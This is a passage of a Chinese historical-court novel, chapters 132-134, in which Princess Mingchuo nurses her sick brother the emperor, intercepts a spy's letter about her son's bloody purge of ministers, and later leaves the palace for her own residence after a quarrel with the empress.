明绰一下子就把手抽了回来,险些控制不住内心的怒火。她也不明白为什么她感觉到的竟然是怒火,就像她有很长一段时间对乌兰徵的死也很恼火,好像这都是他们的错。梦里他脖子里那条裂口又重新张开,一口就把她整个吞了下去。明绰把脸埋进了自己的手掌里,只觉得强烈的情绪像浪一样涌过来,而她必须咬紧牙关才能控制住自己砸碎点儿什么东西的欲望。
“溦溦……”
“
别跟我说这些。”明绰嘶声打断了他,强调什么似的,“皇兄。”
于是萧盈就不说了,就只是那样安安静静地看着她。反而是明绰招架不住他的眼睛,主动移开了视线。
她想过,萧盈对她还有那些情吗?自然,他对她有愧,又为着一起长大的那么多年,还是会对她好。但毕竟过去了这么多年,他有过敬漪澜,也有过别的女人,这份旧情即使还残存着一点灰烬,也终究只能是一点灰烬了。至少她扪心自问,对他已是只能如此了。萧盈可能也有这样的默契,明绰回来这么长时间,他一直就做一个皇兄。哪怕春日里病的那一场,明绰都搬来含清宫侍疾了,他也一句越线的话都没说过。
为什么这会儿又说这些了呢?他看出了什么吗?
盂兰盆会那天晚上,从“人挤人”发展到“人踩人”只是一瞬间的事,但拯救了明绰被袁綦胆大包天的逼问困在暗巷里的窘迫。有人死了,袁綦不得不出面,当场杀了一个还在敲锣赶人的京兆府衙役,领着手下的人恢复秩序。但关于京兆尹为何赶人的谣言已经在风中飞快滋长,有人说是走水,有人说是桥塌了……人群乱得不像样子,袁綦只能立刻差人送长公主回宫,一边去城门校尉调兵。
萧盈听说了外面的事,当晚来了上阳宫看她有没有事。明绰坐在镜前魂不守舍,只是反复拨弄着耳上悬着的那个孤零零的耳环,萧盈跟她说了好几句话,她也没听进去。
楚恕颐没事。明绰第二日才听说,她果然是让袁綦手下的人护着,早早地就送回家去了。楚恕颐递了张宫笺进来,跟长公主请罪。明绰回了一封抚慰的信,但自那以后,她再也没有召楚恕颐进宫作陪过。
是,她心虚。活着的楚恕颐和死去的乌兰徵都已经够让她难堪的了,她现在最不需要的就是再多一个萧盈来追问一捧灰烬里的心。
她就这样在寂静中和萧盈对峙了一会儿,然后僵硬地主动退了一步:“皇兄安心再睡一会儿,我就在这儿守着。明日朝会就散了吧。”
萧盈张了张嘴,似是并不愿意她替自己做这个决定。他一向是个很听话又很不听话的病人,让吃多苦的药都能面不改色地灌下去,但要他好好歇几天,那是除非到了神志不清的程度才可能。即使真的无力支撑到太极殿去开朝会,也会召人来含清宫议事。
君臣之间也是强弱相欺,他这样的身体,却能十几年如一日地保持着对朝廷绝对的控制力,说到底不过是以近乎非人的意志力在消耗自己的命。
但不知是因为给了明绰一个面子,还是卞弘第一次说了太劳累也会犯病,他本来都要拒绝了,竟然又半路改了主意,最后只是“嗯”了一声,答应了。
明绰反而有些意外地挑了挑眉。
“溦溦,”萧盈笑得很无奈,像是为自己辩解什么,“我也不想死啊。”
他这么说,明绰反而一句狠话都说不出来,心里无数根刺一起密密麻麻地扎下来,感觉不出疼,只是麻。她重新握住了萧盈的手,一滴眼泪就这么直接坠下来,“啪”地打在了萧盈手背上。他动了动,明绰立刻用指腹擦去,只作无事。
“药煎好还要些时辰,”她尽量保持住了语调的平静,“疼得好些了就再睡会儿吧。”
萧盈看了她一会儿,点了点头。正值炎夏,他睡的是瓷枕,明绰特意给他换上了麻布的软枕,好让他睡得舒服些。见他重新闭上了眼,明绰便站起来想去看看药。但是萧盈突然伸出了手,沉默着握住了她的手腕。明绰回过头,见他的眼睛始终闭着,修长的手指扣在她腕上,透出青白的、玉石似的颜色。她便重新坐下来,把他那只手握紧自己手心里,就这么在床边守着他。
“皇兄。”明绰的声音轻到几乎听不见。萧盈没有反应,不知道是真的睡过去了,还是没有力气。明绰看着他躺在那里,想起当年卞弘第一次告诉她,陛下可能活不过四十岁的时候。那时候明绰自己才多大?四十岁感觉那么遥不可及,所以她总觉得好像也不是那么严重,还有很长、很长的岁月可以过,她那个时候想象萧盈最后的那一天,总以为会是一个和谢郯差不多年岁的模样,灰发斑驳,满脸皱纹。
可是现在萧盈躺在这里,模样和少年时没多少区别,却已经一步一步地接近那个大限了。原来他根本来不及老。
“我不想你死。”她回答不了萧盈那个问题,只有这一句低到几乎听不见的哀求,“你不要死。”
萧盈的药煎好的时候已经天亮了,明绰把他唤起来服了药,又哄着他接着睡。任之已经出去传了朝会取消的消息,但朝臣们对于这种事司空见惯,有几个朝臣有事奏报,还想跟往常一样,跟着任之去含清殿等陛下好些了再召见。
但一直等到过了晌午,陛下也没有召见任何人。任之出来说了几次,最后等来了长公主,把他们都劝了回去。
只有一个面生的年轻人,既不走,也不要求马上面君,非常有耐心地坐在偏殿,眼观鼻鼻观心,连口水都不用。
瞧他官服,品阶很低。明绰轻轻唤了任之过来问他名姓,任之只说此人姓张,官任书佐。其余什么都没跟明绰解释,反而说,让他等着就是,陛下是要亲自见他的。
这就奇怪了。书佐是最低等的文职,每个衙署都有,任之却不讲明这姓张的到底是哪个衙门的——但不管哪部哪台的书佐,皇帝都没有非要亲自见的道理。
明绰想了想,让任之再去看看药,自己往前几步,走到了这年轻人面前:“张大人。”
他一下子站起来,赶紧向明绰行礼:“长公主。”
明绰低头瞥了一眼,只见他手中攥着的是一卷皮纸。他意识到明绰的目光,立刻抖了抖袖子,把手里拿着的东西掩住了。
明绰见过这种皮纸。她跟着乌兰徵打仗的时候,见过有人呈上来用这种皮纸写的密报。它坚韧,防潮,缝入马鞍之后就看不出来了,再拆出来也能保持原样。就算是传信的人遇到搜查,这东西也很难被发现。
明绰若无其事地抬眼,看定了这年轻人。姓张的书佐低着头,面上并不见异样的神色,但避着她的眼睛。
“皇兄今日不会召见了,”明绰笑了笑,“张大人有什么要呈给陛下的,我愿为张大人代劳。”
张书佐立刻退了一步:“臣不敢。还是等臣见到了陛下,亲自呈上……”
“那可就耽误了。”
张书佐丝毫不动:“不耽误。臣会一直在这里听宣。”
明绰便笑着点了点头,转回头,看了看在偏殿里伺候的人。门外守着两个内侍,瞧着倒也算人高马大。她闲庭信步似的往外走了走,然后轻声下了令:“去把人给我摁住。”
那两个内侍听见了她的话,先是都愣在哪里。明绰歪了歪头,似是在问长公主是不是支使不动他们。那两个内侍便什么都没敢问,进去就一左一右摁住了那姓张的书佐。年轻人完全没有料到这一出,竟连反抗都没想起来,只是提高了声音,惊疑不定地发出一些无意义的音节。
“嘘。”明绰还是笑着,伸手就从他手里拿那封皮纸密信,“皇兄还在休息,张大人别把他吵醒了。”
“长公主不可!”张书佐还试图阻止,但是两个内侍反扭着他的肩膀,把他摁得死死的,他也不敢跟长公主动粗,只能眼看着明绰打量了一下卷得紧紧的皮纸,马上就找到了封口处,然后拔下了头上的簪子,利落地一划。
“长公主不能看!”张书佐徒劳地喊了一声,“这是……
“大燕的探子来的密信。”明绰替他把话说完,抬起头冷冷地看了他一眼。
张书佐白着脸,突然就不挣扎了。明绰看他那个反应就知道自己猜对了。
她冷笑了一声,展开手里的皮纸迅扫了一眼。不出意外地发现根本没有落款,只有放在烛火上烧出来的一圈焦黄,显然是约
定好的印记。
但是这个字迹明绰认得,此人曾奉招贤令进洛阳,考入太学,是萧皇后亲自选了他的文章,授了他的官。也是萧皇后点了他东宫官署的职,让他辅佐当年的太子,如今的新帝。
大燕散骑常侍,东宫舍人,郗芳。
第132章
乌兰晔改年号之后的第一个春天,天子携西海权贵们春猎,以祭天祭祖。丞相乙满逐白鹿入林,不慎坠马而亡。
建康能听到的消息,本来就应该只有这么多。
但郗芳的汇报要详尽得多。乙满受命猎鹿,但那一闪而过的白影不是瑞兽,而是少年天子亮出的刀光。乌兰晔命大将拓莫也哲带人伏于林间,乙满始料未及,身中数箭才坠马,被乌兰晔亲自取了性命。就在同一时间,冯濂之在长安携密旨将丞相府抄家。
刚满十一岁的乌兰晔展现出了他父亲终其一生都未曾有过的狠心和果决,在接下来的几天内就以雷霆之势,把当年陪着乌兰郁弗打过天下的功臣们全都清洗了一遍。名曰春猎,其实是把人都带出了长安去杀。屹立三朝都未倒的步察巴合在绝望中抬出了泰赤哈氏,试图唤起乌兰晔的温情,但也于事无补——天子甚至懒得给他捏造一个合理的罪名。
至此,大燕的开国功臣一个也不剩了。
郗芳在信中以八个字形容这个孩子,“虎狼之心,大略少恩。”
功臣的血流满了御林苑,也浇灌出野心张开的獠牙。段氏显然事前不知道天子如此激进莽撞的计划,郗芳寥寥数语,只说太皇太后得到消息以后“惊异非常”,留在长安躲过一劫的西海权贵们入宫哭诉,想借太皇太后的手杀了这个年少莽撞的天子。太皇太后一度召天子入长霄殿,暗伏刀斧手欲杀之——明绰只是看到这几个字就感到一阵头晕目眩。
但是乌兰晔没有死。方千绪于千钧一发之际拦住了他,只身前往长霄殿中,最终说服了段氏站到天子这头,以太皇太后的威信和兵马震慑住了想要反扑的西海权贵,稳住了朝局。
随后,太皇太后颁下旨意,她和陛下将奉灵柩去东都,把先帝葬到洛阳。
明绰不得不扶着桌角才慢慢坐了下来,手里紧紧捏着这皮纸,用力到指节发白,顺了好几遍才想起来应该如何呼吸。然后她又把信拿起来,从头到尾,完完整整地又读了一遍。郗芳的汇报惜字如金,不会有太多不必要的描述,依旧难掩生死一线间的刀光剑影。
晔儿实在是太莽撞了。明绰一颗心都揪着,甚至生出一股对方千绪的怒火。他怎么能看着晔儿这样去冒险?
可是他果然没有忘记。明绰又忍不住感到一阵悲喜交集着的骄傲。他也没有任由段知妘摆布,即使受制于人,他拼死一搏,也还是在战斗。
段知妘为什么最后还是选择了帮晔儿?这个孩子过早地展现了他坚韧的心性和为父报仇的决心,她不可能看不出他示弱背后的虚与委蛇。是因为她其实也不想再受乙满与西海权贵的钳制?还是她的内心深处依然记得当年那个叫她“伊玛戈”的孩子?这些明绰通通不得而知。但无论如何,她已经做出了选择,就没有退路了,继续留在长安不再是一个明智的决策。
他们到底还是要把乌兰徵葬在洛阳。
明绰把皮纸轻轻贴在自己胸口,泪如雨下。她哭得如此心碎,没有注意到萧盈已经起了身,无声无息地走到了她的身边。
看到她手里的皮纸那一刻,萧盈就大概明白了是怎么回事。明绰立刻偏过了头,抬袖擦去了自己的眼泪,不想让他看见。但是萧盈什么都没问,只是伸手把密报拿过来,垂着眼睛,一目十行地看完了,然后轻轻地“啊”了一声。
明绰听出他声音里恍然与赞赏交织的情绪,抬起头看着他。
萧盈坐下来,往凭几上一靠,伸着手,把密信放到烛焰上,烧了。
明绰不自觉地看着她的动作。萧盈悬着那信,好让火焰更快地吞噬掉整张皮纸,直到快要烧到他的手指了,才把剩下的扔进了案上的香炉中。皮纸烧起来有一股臭味,和熏香的味道混着,袅袅地从香炉里冒出来。
萧盈这才不疾不徐地说了一句:“你的儿子,真是了不起。”
明绰冷冷地看着他,一句话都没说。
萧盈似是感觉不到她的情绪,非常情真意切地叹了一句:“他若是朕的儿子,大雍如今就没有后顾之忧了。”
明绰懒得理睬他这痴人说梦,只问:“你给了郗芳什么好处?”
萧盈闻言露出了一个微妙的笑意,好像觉得她不应该问出这么显而易见的问题。郗芳家中因为燕康王谋反而受牵连,萧盈要做的很简单,不过是找个借口,赦免了怀帝那些个谋反的兄弟们的罪——反正他们都已经死了,不过是求个身后的清白名声。但是对于郗氏来说,就是天大的恩情了。
他知道明绰想问的不是这个,所以只是轻轻反问了一句:“乌兰徵没有在大雍派探子吗?”
有。明绰很多年前就发现了,荆州军曾是大燕的劲敌,所以乌兰徵尤其关注袁氏。建康宫变,谢氏陨落,他知道的也远比萧盈愿意昭告天下的要多。
明绰微微垂下眼,没了那股兴师问罪的语气,但仍有一丝淡淡的讽刺:“我许他高官厚禄,保他青云直上——而皇兄不过是赦免了他本来就没有的罪,他就这样为你卖命。”
萧盈一哂:“朕没要他做什么。你在洛阳时,他对你也是忠心耿耿的。”
明绰并没有被安慰到的样子。这话何其耳熟,她当年发现建康有西海人的探子的时候,乌兰徵也是这句话,“不会做什么”,他只是需要知道一些事情。尽管那时燕雍之盟牢不可破,他确实也没有“做什么”的理由,但他还是需要知道一些事情。
但萧盈掌权以后,明绰并没有感觉乌兰徵对建康的情况有多么了如指掌,探子要很长时间才传回来一些消息,而且经常不准确。绝对没有像萧盈这样,直接渗透到了散骑常侍这种天子近臣——这等于是把眼睛凑到乌兰晔的后脖子上贴着看了。
明绰突然好奇问了一句:“你早知道乌兰人的探子是谁了吗?”
萧盈没有满足她的好奇心,只是笑了笑,点到即止地评价了一句:“乌兰徵……想必是个很光明磊落的人。”
他还挺委婉。明绰觉得她应该很生气,但是她笑了出来,而且一笑就停不下来。萧盈看着她笑,嘴角也轻轻地一勾。
在她的监督之下,萧盈今天是真的完完全全没有接触一点政事。只休息了一天,脸色就已经好看了很多。就是睡得太多了,浑身都透着一股没骨头似的懒散劲儿,歪在凭几上,长发半束,从肩上垂下来。
“乌兰人
在建康到底显眼。”萧盈的声音很轻,像是给乌兰徵开脱什么似的,“若无你当初一纸招贤令,朕也无处下手。”
明绰:“没有我的招贤令,皇兄不是一样把苏絷安插过去了?”
萧盈挑了挑眉,提到这个名字让他眼中泛起了一丝微妙的怅然:“那是太父的意思。”
“皇兄青出于蓝而胜于蓝。”
萧盈没有理会她的讽刺:“你见到苏先生了吗?”
“见到了。”明绰不愿多说,“他死了。”
萧盈沉默片刻,然后再一次情绪复杂地“啊”了一声,轻声道:“他们都死了。”
他们现在坐着的就是当初谢郯给兄妹两个上课的地方。只是以前,谢郯会坐在萧盈那个位置,苏絷还在的时候,往往是在另一头躬身侍立。二十年了。他们都没有说话,只是隔着烛光,隔着回忆,隔着无法原谅与无法割舍,静静地彼此看了一会儿。
好一会儿,明绰把两人中间的矮几推开一些,然后一言不发地伏到了萧盈的膝上。萧盈一下子怔住了,眼中情绪翻覆,然后又迅速平复,和幼时一样伸出手,轻轻地揽住了明绰的肩。
“皇兄,放我回洛阳吧。”明绰的声音很轻。
萧盈什么都没说,没有任何与她争执的欲望。就算他答应了,洛阳也未必有明绰的位置。即使当初那封信确实是乌兰晔被段氏胁迫所写,但如今他们维持着表面的和平与同盟,乌兰晔会为了已经失势的母亲触怒重掌大权的太皇太后吗?
明绰又怎么会不知道这个。她不过是不愿意怪罪自己的儿子,所以怨他。
他什么都不说,明绰也不意外。眼泪从她眼角滑下来,在萧盈膝上洇出一片潮意。
“我放心不下,”明绰不知道要怎么才能让萧盈明白她的痛,“万一晔儿输了,万一……哪怕是让我回去看看他,我怕我再也见不到他了……”
“朕不会让他输的。”萧盈更紧地抱住了怀里的人,好像她身上被切出来一个口,血流不止。萧盈只能狠狠摁住那个伤口,蛮不讲理地让她相信,没事的,血会止住的,会好的。
明绰任他紧紧抱着,抬起头又问了一遍:“你不会让他输的?”
“不会。”
有那么一瞬间,明绰看起来似是想让他好好说一说他想怎么做。就靠一个探子吗?不错,能把手伸到这个地步,已经很难得了,可是明绰比萧盈更清楚,郗芳并不是能左右局势的那个人。他或许可以在事后给建康通风报信,但是他无法像冯濂之一样提前参与伏杀丞相的计划,也无法像方千绪一样力挽狂澜,说服太后改变心意。
她看着萧盈,分明怨他恨他,心里却还是有一个角落毫不犹豫地相信了他。那是十几岁的萧明绰,违背她所有的理智和判断,本能地相信皇兄有这个能力。他在千里之外都能从段知妘的刀下救下她,他不是一直都是她最重要的家人和最强大的依靠吗?她就在那一刻突然意识到,乌兰徵直到死,也没有得到过她这样孩子般的交托与信任。
萧盈抬起手,在她眼下拂了拂。但于事无补,只有更多的眼泪淌下来。明绰突然握紧了他的手,问他:“等晔儿成功报了仇,要接我回去的时候,你会放行吗?”
萧盈露出了一个相当为难的神色。显然他并不相信乌兰晔还会有主动把母亲接回去的那一天,但又不忍心说出这样的话来让她更加难过。
“溦溦……”
明绰知道他什么意思,又强调了一遍:“我只问你,如果有那么一天,你会放行吗?”
萧盈的眼神稍稍黯淡下来,他没有回答,只是反问了一个问题:“若那一天我大限将至,你也会走吗?”
明绰整个人轻轻往后一仰,嘴唇剧烈地颤了颤,竟然什么都没说得出来。她睁大了眼睛,仿佛难以置信萧盈会用这样的话来勒索她,可是她怎么会一句反驳的话都找不出来?
萧盈懊悔地垂下眼睛,似是想给她道个歉:“溦溦,我不是那个意思……”
但是明绰没有听他说完,她站起来,头也不回地离开了含清宫。
第133章
明绰回到上阳宫的时候才发现,已经有个意想不到的客人在等着她了。
上阳宫分三殿,居中的主殿曾经是谢太后起居会客、处理政务的地方,明绰即使回来以后,也没有搬去那里,而是仍旧住在自小长大的偏殿。谢星娥头一次主动来上阳宫看姐姐,就不客气地坐在了主殿正位。若不是阴青蘅提醒了一句“皇后来了”,明绰险些直接错过她。
明绰压着心里的不痛快,进殿去给皇后行礼。
谢星娥板着脸,看起来比明绰还要不痛快,也不让她起来,也不说今日所为何事。明绰等了一会儿就自己站了起来,不软不硬地说了一句:“这是我母后的地方,皇后有话要说,不妨去我那里说吧。”
谢星娥挑了挑眉,目光沉沉地看了她一会儿。然后她站了起来,但是也没有往偏殿去的意思,反而慢悠悠地在殿中踱了两步,打量着殿中所有的陈设,目光落到了那架漆木屏风上。
“历来是皇后居上阳宫。”她伸手摸了摸那架屏风上精美的雕饰,声音很轻,“但陛下一直让我留在栖凤宫。我以为,他是忌讳姑母。”
“你就不忌讳吗?”
谢星娥回过头来看了她一眼,突然笑了笑:“姐姐果然是为了这个还在生我的气。”
明绰没有回答,她便整个人转过来,面对着明绰微微屈膝:“那我给姐姐赔不是啦。”
她那语气十分微妙,绝不是真心在道歉,更像是讽刺明绰居然还在为了这种小事耿耿于怀的意思。明绰本来心里没那么大火,一下子让她拱起来了,但一时没法说什么,只能笑了出来。
“星娥,”明绰唤她的名字,“你今晚到底来做什么?”
谢星娥微微提高了声音,似是被她的直呼名讳冒犯到了:“称皇后!”
明绰看了她一会儿,也学着她方才的样子,微微屈膝,但目光始终与她相接,并未低头:“请问皇后,深夜造访,所为何事?”
谢星娥还是没让她起来,就这么受了她一礼,转身又坐回了曾经谢太后的尊位。
“本宫听说,今日群臣去含清宫谒见陛下,都被长公主拦住了。”谢星娥说得慢条斯理,一副兴师问罪的架势,“你扰乱朝纲,擅权弄政,该当何罪?”
原来是耳报神去给皇后通风报信了。
明绰没理会她一顶接一顶的大帽子,神色如常:“陛下病了,太医令嘱咐了要静养……”
谢星娥打断她:“陛下病了,怎么本宫不知道?”
明绰几乎让她逗笑了。耳报神要紧去跟她说长公主逾矩,却没有提一嘴陛下又病了。
“是啊,我也奇怪呢,怎么含清宫的人半夜里是来找我呢?”
春日里萧盈病那一场,她已经见到皇后是怎么“侍疾”的了。
谢星娥完全没有“病人身体是不舒服的”这个基本的概念。带了女儿去,也不是宽慰萧盈,反而一直在哀怨指责陛下对她们母女的疏忽。萧盈没精力理睬她,她就跟萧盈耍小性子,试图让他哄哄她。而萧盈哪里不舒服,要让她送个水送个药,皇后一点儿察觉不到他的需求,也坚决不肯自己动一根手指。可是若是哪个宫人有眼力见一点儿,皇后还要意有所指地“敲打”,觉得她们的殷勤是另有所图。她满心只想着赶紧生下皇子,但萧盈一直不去找她,她好不容易抓到机会在含清宫,竟召了太医令去问陛下在病中能不能临幸,把卞弘吓得都给皇后跪下了。
皇后去侍疾,整个含清宫上下没一个人是好过的。
谢星娥长这么大,从来没有照顾过任何人,萧盈并不指望她。明绰也可以料想,萧盈不愿意在皇后面前流露出力不从心的狼狈,所以谢星娥恐怕从来没有真正了解过萧盈的身体到底是什么情况。但明绰还是忍不住怀疑谢星娥一直以来宣称的、对丈夫的爱。
她对皇后这个名分和所带来的权力的爱都要明显胜过对萧盈的关心。
谢星娥听出了明绰话音里的讽刺,脸色一下子更难看了。她感觉到了姐姐已经占了上风,不自觉地泄露出一丝气急败坏来:“你……”然后她飞快想到了什么,又道,“那卢徽、王澹等人给上阳宫送礼,你又作何解释!”
明绰皱了皱眉,一时都没有想起来她在说谁。姜川谄媚长公主,一开始为全建康所不耻,但陛下真的用了他,风向就一下子变了。明面上都在骂姜川无耻,但是背地里效仿他的人如过江之鲫,都在想尽办法给长公主送礼。
明绰来者不拒,她又不在乎什么清名。朝中在乎名声的高士严防死守,若不和这些贪利之辈同流合污,她就真的要成刀俎下的鱼肉了。
这些萧盈也知道,萧盈都没说什么,谢星娥倒是来问罪了。明绰冷笑了一声,没有理睬她。
谢星娥见她不答,越发理直气壮起来:“还说不是擅权弄政!你还当这里是洛阳吗?能任由你
这般无法无天!”
明绰本来真的不想理她,但是提及洛阳便戳中了她的痛处,明绰把脸一撂,不奉陪了:“那你去跟陛下说吧,让他治我的罪。”
她说完就要走,谢星娥提高了声音在她背后喊了一句“站住!”可是明绰根本不理她。她只好提起裙子,很没威严地跟在长公主身后,一路跟进了偏殿,气势全无地改了口:“姐姐!”
明绰脚下一顿,无奈地深吸了一口气,转回头很不耐烦地瞪了她一眼。谢星娥居然被她这一眼吓住了,什么话都没说得出来。
她若是真能去跟萧盈告状,早就去了,还不就是知道告状没用,才来上阳宫撒泼。她这强撑出来的皇后威严就跟纸糊的一样,被明绰一戳就破了。
谢星娥窘得一双眼睛里都是泪,又气,又没办法。怎么二十年前姐姐压她一头,二十年后还是这样。她明明都是皇后了!明绰看着她掉眼泪,又没忍住心里软了几分。
谢星娥从来就没长大过。她纵有千般不好,萧盈也没有对她多一些耐心。
“你到底想怎么样?”
谢星娥感觉到姐姐语气软了下来,赶紧擦了擦眼泪:“姐姐出宫,去公主府吧!”
明绰歪了歪头,突然明白了什么:“这是舅舅的意思?”
“也是桓令君的意思,还有……”谢星娥一边抹眼泪,一边抽抽噎噎地往外报重臣的名字。明绰听得笑了一声,抬起手示意她不用往下报了,她懂了。
这些人也是知道,去跟萧盈说这事儿没用,所以让皇后来给长公主施压。
“我出宫了,有些人送礼不是更方便了吗?”明绰笑了笑,“不怕我‘擅权弄政’了?”
谢星娥不甘心地噘着嘴,竟不知道怎么答。明绰本来也没有指望她能答得出来。毕竟,谢聿和桓廊他们最怕的不是有人给长公主送礼,而是长公主在宫里,在生病的陛下身边。
“姐姐,”谢星娥吸了吸鼻子,突然又道,“自从你回来以后,陛下就再也没有来过后宫了……不是只有我这里,是任何人那里他都没去过……”
她本以为,敬夫人攀附长公主是为了复宠,所以一度恨得咬牙切齿。可是看着敬漪澜跟明绰整日来往,萧盈却也没有对他们母子有过多的关注——对皇长子是稍微上了点心,有几次单独召见过。但是对敬漪澜还是和原来一样,没有发展成谢星娥担心过的那样。
她这么多年都在跟不同的女人争夺萧盈的注意力,第一次感觉到无从下手。那个争的对象好像变成了姐姐,谢星娥不敢多想,但是心里就是知道,这次她不会有任何胜算。
“姐姐……”谢星娥走了两步,拉住了明绰的袖子,“你出宫吧!公主府我出钱给你修,好吗?你想要什么……”
明绰把手覆到了她的手背上,让她别说了。
但是谢星娥没有停:“皇长子不能继承大统,陛下这个身体,得要一个儿子呀!就算不是我生的也好……姐姐,我求你了,事关大雍社稷……”
明绰又笑了一声,没想到她居然连社稷都扯出来了。
“我知道了。”她打断了谢星娥,抬手给她擦了擦眼泪。谢星娥睁大了眼睛,期待地看着她,于是明绰又承诺了一遍,“我去跟陛下说。”
她本来也不想再留在这个宫里了。
谢星娥终于高兴了,抹了抹眼泪,自己也觉得这样有点儿难堪。跟明绰面面相觑了一会儿,就想走。明绰看着她转身,还是叫了她一声:“星娥。”
谢星娥转回头,看着她。
“你既然担心‘陛下这个身体’……”明绰斟酌着字句,“不问问他这次病得如何吗?”
谢星娥好像这才想起来:“他病得如何?”
明绰突然在那一瞬间产生了一股流泪的冲动,明明片刻之前她还气得直接从含清宫头也不回地走了,此时此刻却又生出一股与萧盈相依为命的痛。他还是只有她,二十年前如此,二十年后依然。
“今天已经好些了。”明绰努力克制,维持着语调的平静,“明天你去看看他吧。卞大人说了他要休息,你看着他一些,别让他太操劳。”
谢星娥脸上露出一丝难言的复杂情绪,她自问没这个本事干涉萧盈做什么,不做什么。要像姐姐一样出面去回绝朝臣谒见,她更不敢了。
明绰只好一个字一个字地教她:“他能忍,不舒服是不会自己说的,但是心口痛起来会发冷汗,你就让卞弘来给他施针。药每隔三个时辰服一次,你替他记着,睡着了也要叫起来。他喝药很痛快,不喜欢别人喂他。但若是服了药有哪里不对,你要马上跟卞弘说。不要跟他说太多话,他不是有意冷落你,是真的没力气回答你。也不要把玉襄带去,孩子还不懂事,太吵了。他这次自己知道要多休息,不会太逞强的,你不要怕说他。”
谢星娥眨了眨眼,一声不响,好一会儿,点了点头。
明绰又想起什么:“你也不要跟他多说要皇子的事情。皇兄这么多年一直把大雍的江山放在第一位,这些事情他都有数的。但你说多了,就是在戳他命短,他怎么能不忌讳?你多关心关心,他会记得的。”
谢星娥脸上一红,知道她说的是上次的事情,更不知道该说什么了。从来没有人这样好好地跟她说过应该怎么跟陛下相处,父亲只会指责她怎么不得宠,母亲又在女儿身上投射了自己婚姻的不幸与不甘,谈到这些事就都是母亲自己的抱怨,也不是真的给她出主意。谢星娥突然红了眼睛,又叫了一声:“姐姐……”
有那么一瞬间,她不舍得表姐出宫了。可是那冲动只是一瞬间,她又立刻咽了回去。眼神躲闪着,对自己突然涌出的温情感到无比尴尬。
明绰看出了她的情绪,无奈地笑了一声,朝她摆了摆手:“你回去吧。”
皇后离开了。明绰独自在殿内站了一会儿,似是非常无措,不知道该坐哪儿似的。阴青蘅带人走了进来,准备多点几支蜡烛,明绰又道:“不用了,我这就准备歇下了。”
阴青蘅便收回了手,端了水来替她洗漱。明绰昨天夜里就着急跑出去,脸上什么妆饰也没有,头发都是随便绾的髻,要梳洗起来倒也方便。但是阴青蘅一想到长公主今天就这幅样子出去见过了朝臣,就有些不自在起来。
“星娥去也好。”明绰看着镜中的自己,突然道,“有皇后在,任之说话才有底气。”
恐怕是不会逼到要皇后亲自出面去让大臣们回家的。
阴青蘅从镜中看了她一眼,似有些心疼从眼中一闪而过。明绰轻轻地闭上了眼睛,任由她把她的长发一梳到尾。
“等我出了宫……”明绰起了个头。
阴青蘅马上道:“长公主在哪里,奴婢自然就在哪里。”
明绰没说话,好一会儿,把手伸到肩头,轻轻地握住阴青蘅的手,拍了拍。好像这漫长的一天,终于还是有一件值得宽慰的事了。
第134章
明绰特地等了萧盈好转了才去提了出宫一事,此时她已经在宫外寻好了现成的宅院,没有给萧盈再推拒拖延的机会。
谢星娥也在含清宫,萧盈身体好转,难得跟皇后和崇安公主母女一起吃顿饭。长公主提了这个话,萧盈一直沉着脸,什么也没说。谢星娥也想帮着劝,但是明绰给了她一个眼神,她便先抱着女儿离开了。
“皇兄,”明绰坐下来,从壶里倒了一点酒出来给自己,“人长大了都是要各自成家的,现在你和星娥、玉襄才是一家人……”
萧盈看了她一眼:“她跟你说什么了?”
“没说什么。”明绰笑了笑,举杯喝了一口,这才发现是花酿,虽也算酒,但甜味胜过酒味,大概是因为崇安公主在,给小孩子尝尝甜头的。她不爱喝这种东西,皱了皱眉头就放下了,继续道,“皇兄,星娥从小被娇惯坏了,是有些不懂事。但扪心自问,这些年你可善待过她?”
萧盈还是沉默着,微微垂了眼,把明绰没喝完的那杯花酿拿去,一饮而尽。
“舅舅做不了第二个太父,谢氏已经不成气候了。”明绰见他喝完了,又给他倒了一杯花酿,“不然星娥连生下这两个女儿的机会都不会有。既然如此,你就遂了她的意吧,不然这费尽心血争来的江山,你留给谁去啊?”她故作轻松地笑了笑,想起那天萧盈说乌兰晔的话,“难不成留给我儿子吗?”
萧盈抬起头,认真地看了她一会儿,突然轻声道:“那也算‘一统’了。”
乌兰晔怎么不是萧家的血脉呢?反正比他更是。大雍几代人的夙愿不就是还都长安,光复前梁南北一统的江山吗?
萧盈举杯啜饮了一口,一本正经地跟她胡扯:“到了地下,朕也算对你们家祖宗有个交代。”
明绰又好气又好笑地在他手臂上打了一下。这只能是玩笑话,萧盈甚至不能大声一点说。若是让一个“兀鲁蛮子”来一统天下,那些朝臣还不排着队地一头撞死在太极殿上。
明绰微微敛了敛笑意,也跟着放低了声音:“你知道这不可能。”
她那语气不像是在说这个玩笑,而是什么别的事情。萧盈还是小口啜饮着,好像没听出来。
“当年不可能,现在更不可能了。”明绰的手还停留在他的手臂上,很轻柔地抚了抚,“皇兄,不要再拿不可能的事情折磨不相干的人了。我已经放下了,你也放下吧。”
萧盈始终没说话,明绰站了起来,没有行礼,也没告退的虚词,就这样无声地转过了身,走了出去。
八月,陛下终于下了旨,定了公主府的选址。朝中投机者纷纷抓紧机会献媚,在一通“八仙过海、各显神通”之下,公主府又前后左右地吞下了本身三倍的地,都是这些投机者们自掏腰包,想办法去给长公主买下来的。至于左邻右舍们是不是自愿卖的地,就不得而知了。一时也引起了无数攻讦,若不是陛下罚了带头买地的那个,只怕还没个完。
但陛下并不以身作则。他一面不许百官献媚,一面自己毫不掩饰对妹妹的偏爱,修起公主府来全然不顾惜人力财力。因为本身就有现成的屋宅,是以地方虽大,最后修完也才过了半年。但里面楼阁玲珑,屋宇层叠,朱栏玉砌,碧池绕屋,依山傍水,曲径通幽,其奢华半点儿不输皇宫。
等到东乡公主真正迁居那天,陛下不仅亲自送她离宫,还保留了她直入宫禁、自由行走的特权。
如此盛宠,就连刚刚再次有孕的皇后都难以望其项背,公主府自然门庭若市,求官者络绎不绝。
但要想得到东乡公主的举荐,还没这么容易。
公主府几乎每月都有两三场宴饮,列席者皆为权贵名门。长公主还亲自出题,天下的士人到了建康,皆可作答。若有文采出众者,不限出身,也可以得到公主府的宴请。
求官的,她往往几番考校,再请朝中各部的实务官员来一同宴饮。各位朝臣看中了的,再自己去跟陛下举荐,长公主并不干涉。若是不求官的出世雅客,长公主或诗文互娱,或以财帛相赠。
整个景平三十一年,萧盈的耳根子就没清净过。一只耳朵是骂长公主结党营私、卖官鬻爵、扰乱朝纲、不守中馈,另一只耳朵则是赞长公主才学出众,还有识人之明,能为大雍选贤举能。
